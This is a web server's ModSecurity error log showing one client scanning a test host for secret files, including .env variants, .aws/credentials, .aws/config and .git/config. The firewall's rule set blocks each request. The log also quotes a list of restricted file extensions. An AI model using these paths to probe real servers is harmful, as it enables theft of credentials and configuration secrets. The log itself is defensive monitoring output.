[Mon Jun 30 14:12:19.318055 2025] [:error] [pid 3739296] [client 185.177.72.10:34450] [client 185.177.72.10] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.old&quot;] [unique_id &quot;aGJ_I_UyWlUzqRIbk96VygAAAAM&quot;]
[Mon Jun 30 14:12:19.318221 2025] [:error] [pid 3739296] [client 185.177.72.10:34450] [client 185.177.72.10] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.old&quot;] [unique_id &quot;aGJ_I_UyWlUzqRIbk96VygAAAAM&quot;]
[Mon Jun 30 14:12:19.318474 2025] [:error] [pid 3739296] [client 185.177.72.10:34450] [client 185.177.72.10] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.old&quot;] [unique_id &quot;aGJ_I_UyWlUzqRIbk96VygAAAAM&quot;]
[Mon Jun 30 14:12:19.318684 2025] [:error] [pid 3739296] [client 185.177.72.10:34450] [client 185.177.72.10] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.old&quot;] [unique_id &quot;aGJ_I_UyWlUzqRIbk96VygAAAAM&quot;]
[Mon Jun 30 14:12:19.340727 2025] [:error] [pid 3739296] [client 185.177.72.10:34450] [client 185.177.72.10] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /config/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env&quot;] [unique_id &quot;aGJ_I_UyWlUzqRIbk96VywAAAAM&quot;]
[Mon Jun 30 14:12:19.340974 2025] [:error] [pid 3739296] [client 185.177.72.10:34450] [client 185.177.72.10] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env&quot;] [unique_id &quot;aGJ_I_UyWlUzqRIbk96VywAAAAM&quot;]
[Mon Jun 30 14:12:19.341176 2025] [:error] [pid 3739296] [client 185.177.72.10:34450] [client 185.177.72.10] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env&quot;] [unique_id &quot;aGJ_I_UyWlUzqRIbk96VywAAAAM&quot;]
[Mon Jun 30 14:12:19.386285 2025] [:error] [pid 3739296] [client 185.177.72.10:34450] [client 185.177.72.10] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /app/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env&quot;] [unique_id &quot;aGJ_I_UyWlUzqRIbk96VzQAAAAM&quot;]
[Mon Jun 30 14:12:19.386565 2025] [:error] [pid 3739296] [client 185.177.72.10:34450] [client 185.177.72.10] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env&quot;] [unique_id &quot;aGJ_I_UyWlUzqRIbk96VzQAAAAM&quot;]
[Mon Jun 30 14:12:19.386772 2025] [:error] [pid 3739296] [client 185.177.72.10:34450] [client 185.177.72.10] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env&quot;] [unique_id &quot;aGJ_I_UyWlUzqRIbk96VzQAAAAM&quot;]
[Mon Jun 30 14:12:19.408732 2025] [:error] [pid 3739296] [client 185.177.72.10:34450] [client 185.177.72.10] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /admin/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env&quot;] [unique_id &quot;aGJ_I_UyWlUzqRIbk96VzgAAAAM&quot;]
[Mon Jun 30 14:12:19.408976 2025] [:error] [pid 3739296] [client 185.177.72.10:34450] [client 185.177.72.10] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env&quot;] [unique_id &quot;aGJ_I_UyWlUzqRIbk96VzgAAAAM&quot;]
[Mon Jun 30 14:12:19.409169 2025] [:error] [pid 3739296] [client 185.177.72.10:34450] [client 185.177.72.10] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env&quot;] [unique_id &quot;aGJ_I_UyWlUzqRIbk96VzgAAAAM&quot;]
[Mon Jun 30 14:12:19.431202 2025] [:error] [pid 3739296] [client 185.177.72.10:34450] [client 185.177.72.10] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /api/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;aGJ_I_UyWlUzqRIbk96VzwAAAAM&quot;]
[Mon Jun 30 14:12:19.431446 2025] [:error] [pid 3739296] [client 185.177.72.10:34450] [client 185.177.72.10] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;aGJ_I_UyWlUzqRIbk96VzwAAAAM&quot;]
[Mon Jun 30 14:12:19.431641 2025] [:error] [pid 3739296] [client 185.177.72.10:34450] [client 185.177.72.10] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;aGJ_I_UyWlUzqRIbk96VzwAAAAM&quot;]
[Mon Jun 30 14:12:19.453609 2025] [:error] [pid 3739296] [client 185.177.72.10:34450] [client 185.177.72.10] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /apps/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/apps/.env&quot;] [unique_id &quot;aGJ_I_UyWlUzqRIbk96V0AAAAAM&quot;]
[Mon Jun 30 14:12:19.453849 2025] [:error] [pid 3739296] [client 185.177.72.10:34450] [client 185.177.72.10] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/apps/.env&quot;] [unique_id &quot;aGJ_I_UyWlUzqRIbk96V0AAAAAM&quot;]
[Mon Jun 30 14:12:19.454038 2025] [:error] [pid 3739296] [client 185.177.72.10:34450] [client 185.177.72.10] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/apps/.env&quot;] [unique_id &quot;aGJ_I_UyWlUzqRIbk96V0AAAAAM&quot;]
[Mon Jun 30 14:12:19.915434 2025] [:error] [pid 3739296] [client 185.177.72.10:34450] [client 185.177.72.10] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /server/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/server/.env&quot;] [unique_id &quot;aGJ_I_UyWlUzqRIbk96V0QAAAAM&quot;]
[Mon Jun 30 14:12:19.915677 2025] [:error] [pid 3739296] [client 185.177.72.10:34450] [client 185.177.72.10] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/server/.env&quot;] [unique_id &quot;aGJ_I_UyWlUzqRIbk96V0QAAAAM&quot;]
[Mon Jun 30 14:12:19.915877 2025] [:error] [pid 3739296] [client 185.177.72.10:34450] [client 185.177.72.10] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/server/.env&quot;] [unique_id &quot;aGJ_I_UyWlUzqRIbk96V0QAAAAM&quot;]
[Mon Jun 30 14:12:19.937759 2025] [:error] [pid 3739296] [client 185.177.72.10:34450] [client 185.177.72.10] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /backend/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/.env&quot;] [unique_id &quot;aGJ_I_UyWlUzqRIbk96V0gAAAAM&quot;]
[Mon Jun 30 14:12:19.938003 2025] [:error] [pid 3739296] [client 185.177.72.10:34450] [client 185.177.72.10] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/.env&quot;] [unique_id &quot;aGJ_I_UyWlUzqRIbk96V0gAAAAM&quot;]
[Mon Jun 30 14:12:19.938277 2025] [:error] [pid 3739296] [client 185.177.72.10:34450] [client 185.177.72.10] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/.env&quot;] [unique_id &quot;aGJ_I_UyWlUzqRIbk96V0gAAAAM&quot;]
[Mon Jun 30 14:12:19.983343 2025] [:error] [pid 3739296] [client 185.177.72.10:34450] [client 185.177.72.10] ModSecurity: Warning. Matched phrase &quot;.aws/credentials&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .aws/credentials found within REQUEST_FILENAME: /.aws/credentials&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;aGJ_I_UyWlUzqRIbk96V1AAAAAM&quot;]
[Mon Jun 30 14:12:19.983597 2025] [:error] [pid 3739296] [client 185.177.72.10:34450] [client 185.177.72.10] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;aGJ_I_UyWlUzqRIbk96V1AAAAAM&quot;]
[Mon Jun 30 14:12:19.983779 2025] [:error] [pid 3739296] [client 185.177.72.10:34450] [client 185.177.72.10] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;aGJ_I_UyWlUzqRIbk96V1AAAAAM&quot;]
[Mon Jun 30 14:12:20.005729 2025] [:error] [pid 3739296] [client 185.177.72.10:34450] [client 185.177.72.10] ModSecurity: Warning. Matched phrase &quot;.aws/config&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .aws/config found within REQUEST_FILENAME: /.aws/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/config&quot;] [unique_id &quot;aGJ_JPUyWlUzqRIbk96V1QAAAAM&quot;]
[Mon Jun 30 14:12:20.005979 2025] [:error] [pid 3739296] [client 185.177.72.10:34450] [client 185.177.72.10] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/config&quot;] [unique_id &quot;aGJ_JPUyWlUzqRIbk96V1QAAAAM&quot;]
[Mon Jun 30 14:12:20.006183 2025] [:error] [pid 3739296] [client 185.177.72.10:34450] [client 185.177.72.10] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/config&quot;] [unique_id &quot;aGJ_JPUyWlUzqRIbk96V1QAAAAM&quot;]
[Mon Jun 30 14:12:20.357052 2025] [:error] [pid 3739296] [client 185.177.72.10:34450] [client 185.177.72.10] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aGJ_JPUyWlUzqRIbk96V5AAAAAM&quot;]
